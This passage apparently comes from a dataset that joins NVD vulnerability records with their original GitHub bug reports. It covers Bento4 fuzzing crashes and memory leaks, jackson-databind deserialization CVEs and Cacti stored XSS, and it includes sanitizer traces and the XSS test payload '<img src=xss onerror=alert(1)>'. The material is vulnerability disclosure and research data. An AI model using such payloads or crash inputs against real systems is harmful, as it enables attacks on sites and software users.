/home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #16 0x561a5ffd4ce5 in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4StsdAtom.cpp:101 #17 0x561a5ffd4553 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4StsdAtom.cpp:57 #18 0x561a5ff41ca4 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:424 #19 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #20 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #21 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #22 0x561a5ff50b8e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:88 #23 0x561a5ff43519 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:764 #24 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #25 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #26 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #27 0x561a5ff50b8e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:88 #28 0x561a5ff43519 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:764 #29 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #30 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #31 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #32 0x561a5ff50b8e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:88 #33 0x561a5ff43519 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:764 #34 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #35 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #36 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #37 0x561a5ffeb530 in AP4_TrakAtom::AP4_TrakAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4TrakAtom.cpp:165 #38 0x561a5ff44589 in AP4_TrakAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls+0x348589) #39 0x561a5ff4193d in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:379 #40 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #41 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #42 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #43 0x561a5ff83d52 in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4MoovAtom.cpp:80 #44 0x561a5ff44523 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls+0x348523) #45 0x561a5ff417b6 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:359 #46 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #47 0x561a5ff3f8d3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:151 #48 0x561a5ff60849 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4File.cpp:104 #49 0x561a5ff604b8 in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4File.cpp:78 #50 0x561a5ff2cec3 in main /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:1837 #51 0x7f8b9d4acb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #52 0x561a5ff20a89 in _start (/home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls+0x324a89) ``` FoundBy: [email protected]	Allocate for large amounts of memory failed in Ap4StcoAtom.cpp:81 at Bento4 1.5.1-627 when running mp42hls	https://api.github.com/repos/axiomatic-systems/Bento4/issues/350/comments	2	2018-12-31T15:52:26Z	2019-01-12T21:14:48Z	https://github.com/axiomatic-systems/Bento4/issues/350	394,998,583	350
CVE-2018-14718	2019-01-02T18:29:00.310	FasterXML jackson-databind 2.x before 2.9.7 might allow remote attackers to execute arbitrary code by leveraging failure to block the slf4j-ext class from polymorphic deserialization.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/106601" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHBA-2019:0959" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:0782" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:0877" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1782" }, { "source": "[email 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"https://access.redhat.com/errata/RHSA-2019:3149" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:3892" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:4037" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/FasterXML/jackson-databind/commit/87d29af25e82a249ea15858e2d4ecbf64091db44" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/FasterXML/jackson-databind/issues/2097" }, { "source": "[email protected]", "tags": [ "Patch", "Release Notes", "Third Party Advisory" ], "url": "https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.9.7" }, { "source": "[email protected]", "tags": null, "url": "https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f%40%3Cdev.drill.apache.org%3E" }, { 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"https://lists.apache.org/thread.html/r1d4a247329a8478073163567bbc8c8cb6b49c6bfc2bf58153a857af1%40%3Ccommits.druid.apache.org%3E" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/03/msg00005.html" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://seclists.org/bugtraq/2019/May/68" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://security.netapp.com/advisory/ntap-20190530-0003/" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2019/dsa-4452" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.oracle.com/security-alerts/cpuapr2020.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.oracle.com/security-alerts/cpujan2020.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.oracle.com/security-alerts/cpuoct2020.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:fasterxml:jackson-databind::::::::", "matchCriteriaId": "7036DA13-110D-40B3-8494-E361BBF4AFCD", "versionEndExcluding": "2.6.7.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "2.0.0", "vulnerable": true }, { "criteria": "cpe:2.3:a:fasterxml:jackson-databind::::::::", "matchCriteriaId": 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RCE with slf4j-ext jar * CVE-2018-14719: RCE with blaze-ds-opt, -core jars * CVE-2018-14720: exfiltration/XXE with only JDK classes (some JDK versions) * CVE-2018-14721: exfiltration/SSRF with axis2-jaxws Original vulnerability discoverer: 吴桂雄 Wuguixiong ----- Fixed in: * 2.9.7 and later * 2.8.11.3 * 2.7.9.5 * 2.6.7.3	Block more classes from polymorphic deserialization (CVE-2018-14718 - CVE-2018-14721)	https://api.github.com/repos/FasterXML/jackson-databind/issues/2097/comments	11	2018-07-27T05:58:22Z	2019-10-16T04:34:07Z	https://github.com/FasterXML/jackson-databind/issues/2097	345,100,313	2,097
CVE-2018-19360	2019-01-02T18:29:00.717	FasterXML jackson-databind 2.x before 2.9.8 might allow attackers to have unspecified impact by leveraging failure to block the axis2-transport-jms class from polymorphic deserialization.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107985" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHBA-2019:0959" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:0782" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:0877" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1782" }, { "source": "[email protected]", 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"source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://security.netapp.com/advisory/ntap-20190530-0003/" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2019/dsa-4452" }, { "source": "[email protected]", "tags": null, "url": "https://www.oracle.com/security-alerts/cpuapr2020.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html" }, { "source": "[email protected]", "tags": null, "url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:fasterxml:jackson-databind::::::::", "matchCriteriaId": "5128ECDA-6F9A-42AC-9063-CDFC4C256537", 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]	https://github.com/FasterXML/jackson-databind/issues/2186	[ "Issue Tracking", "Patch", "Third Party Advisory" ]	github.com	[ "FasterXML", "jackson-databind" ]	This issue covers following CVEs related to polymorphic deserialization, gadgets: CVE-2018-19360 (axis2-transport-jms) CVE-2018-19361 (openjpa) CVE-2018-19362 (jboss-common-core) See https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 for description of the general problem. Original vulnerability discoverer: 吴桂雄 Wuguixiong Fixed in: * 2.9.8 and later * 2.8.11.3 * 2.7.9.5 * 2.6.7.3	Block more classes from polymorphic deserialization (CVE-2018-19360, CVE-2018-19361, CVE-2018-19362)	https://api.github.com/repos/FasterXML/jackson-databind/issues/2186/comments	8	2018-11-18T23:39:02Z	2020-07-31T17:29:54Z	https://github.com/FasterXML/jackson-databind/issues/2186	382,014,049	2,186
CVE-2019-6132	2019-01-11T05:29:01.763	An issue was discovered in Bento4 v1.5.1-627. There is a memory leak in AP4_DescriptorFactory::CreateDescriptorFromStream in Core/Ap4DescriptorFactory.cpp when called from the AP4_EsdsAtom class in Core/Ap4EsdsAtom.cpp, as demonstrated by mp42aac.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/357" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:axiosys:bento4:1.5.1-627:::::::*", "matchCriteriaId": "F87642DF-B939-4195-A2AE-F0F1D39CD16D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/axiomatic-systems/Bento4/issues/357	[ "Exploit", "Third Party Advisory" ]	github.com	[ "axiomatic-systems", "Bento4" ]	there is memory leaks in Ap4String.cpp ./mp42aac poc /dev/null ================================================================= ==15810==ERROR: LeakSanitizer: detected memory leaks Direct leak of 96 byte(s) in 1 object(s) allocated from: #0 0x522860 in operator new(unsigned long) (/root/apps/Bento4/mp42aac+0x522860) #1 0x5c80a5 in AP4_DescriptorFactory::CreateDescriptorFromStream(AP4_ByteStream&, AP4_Descriptor&) /root/apps/Bento4/Source/C++/Core/Ap4DescriptorFactory.cpp:122:22 #2 0x5f8687 in AP4_EsdsAtom::AP4_EsdsAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /root/apps/Bento4/Source/C++/Core/Ap4EsdsAtom.cpp:76:9 #3 0x5f8687 in AP4_EsdsAtom::Create(unsigned int, AP4_ByteStream&) /root/apps/Bento4/Source/C++/Core/Ap4EsdsAtom.cpp:52 #4 0x5e14cb in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /root/apps/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:474:20 #5 0x5ddaa0 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) /root/apps/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:221:14 #6 0x5d6aa5 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/apps/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12 #7 0x56699d in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) /root/apps/Bento4/Source/C++/Core/Ap4SampleEntry.cpp:115:9 Indirect leak of 32 byte(s) in 1 object(s) allocated from: #0 0x5229e0 in operator new[](unsigned long) (/root/apps/Bento4/mp42aac+0x5229e0) #1 0x557d0a in AP4_String::Assign(char const, unsigned int) /root/apps/Bento4/Source/C++/Core/Ap4String.cpp:165:15 SUMMARY: AddressSanitizer: 128 byte(s) leaked in 2 allocation(s). [bento4-memory-leak-AP4_String.zip](https://github.com/axiomatic-systems/Bento4/files/2746334/bento4-memory-leak-AP4_String.zip)	memory leaks in Ap4String.cpp	https://api.github.com/repos/axiomatic-systems/Bento4/issues/357/comments	1	2019-01-10T17:00:31Z	2019-01-12T09:36:13Z	https://github.com/axiomatic-systems/Bento4/issues/357	397,925,621	357
CVE-2018-20723	2019-01-16T16:29:00.510	A cross-site scripting (XSS) vulnerability exists in color_templates.php in Cacti before 1.2.0 due to lack of escaping of unintended characters in the Name field for a Color.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00001.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00005.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00042.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00048.html" }, { "source": "[email protected]", "tags": [ "Release Notes", "Third Party Advisory" ], "url": "https://github.com/Cacti/cacti/blob/develop/CHANGELOG" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/Cacti/cacti/commit/80c2a88fb2afb93f87703ba4641f9970478c102d" }, { "source": "[email protected]", "tags": [ "Issue Tracking", "Exploit", "Third Party Advisory" ], "url": "https://github.com/Cacti/cacti/issues/2215" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:cacti:cacti::::::::", "matchCriteriaId": "1C7FEEA7-B141-4E6E-8B73-4DFF4844A341", "versionEndExcluding": "1.2.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/Cacti/cacti/issues/2215	[ "Issue Tracking", "Exploit", "Third Party Advisory" ]	github.com	[ "Cacti", "cacti" ]	Description - There's no escape being done before printing out the value of `Name` in the Color Template page. <br> Cacti version - v1.1.38 <br> Steps to reproduce - - Navigate to http://localhost:4040/cacti/color_templates.php?action=template_edit & add the below shared payload as the `Name` field value. Payload - `<img src=xss onerror=alert(1)>` - Visit http://localhost:4040/cacti/color_templates.php?action=template_edit, the payload will be triggered. <br> <img width="700" alt="cacti6" src="https://user-images.githubusercontent.com/42465102/50050365-73812180-011e-11e9-8979-94c8c2ccfa9b.png"> <img width="702" alt="cacti7" src="https://user-images.githubusercontent.com/42465102/50050366-73812180-011e-11e9-97b4-8cb0b75acc19.png">	Stored XSS in "Name" field - Color	https://api.github.com/repos/Cacti/cacti/issues/2215/comments	1	2018-12-16T05:07:28Z	2020-06-30T05:31:09Z	https://github.com/Cacti/cacti/issues/2215	391,436,176	2,215
CVE-2018-20724	2019-01-16T16:29:00.557	A cross-site scripting (XSS) vulnerability exists in pollers.php in Cacti before 1.2.0 due to lack of escaping of unintended characters in the Website Hostname for Data Collectors.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00001.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00005.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00042.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00048.html" }, { "source": "[email protected]", "tags": [ "Release Notes", "Third Party Advisory" ], "url": "https://github.com/Cacti/cacti/blob/develop/CHANGELOG" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/Cacti/cacti/commit/1f42478506d83d188f68ce5ff41728a7bd159f53" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/Cacti/cacti/issues/2212" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:cacti:cacti::::::::", "matchCriteriaId": "1C7FEEA7-B141-4E6E-8B73-4DFF4844A341", "versionEndExcluding": "1.2.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/Cacti/cacti/issues/2212	[ "Exploit", "Issue Tracking", "Third Party Advisory" ]	github.com	[ "Cacti", "cacti" ]	Description - There's no escape being done before printing out the value of `Hostname` value in the Data collectors table. <br> Cacti version - v1.1.38 <br> Steps to 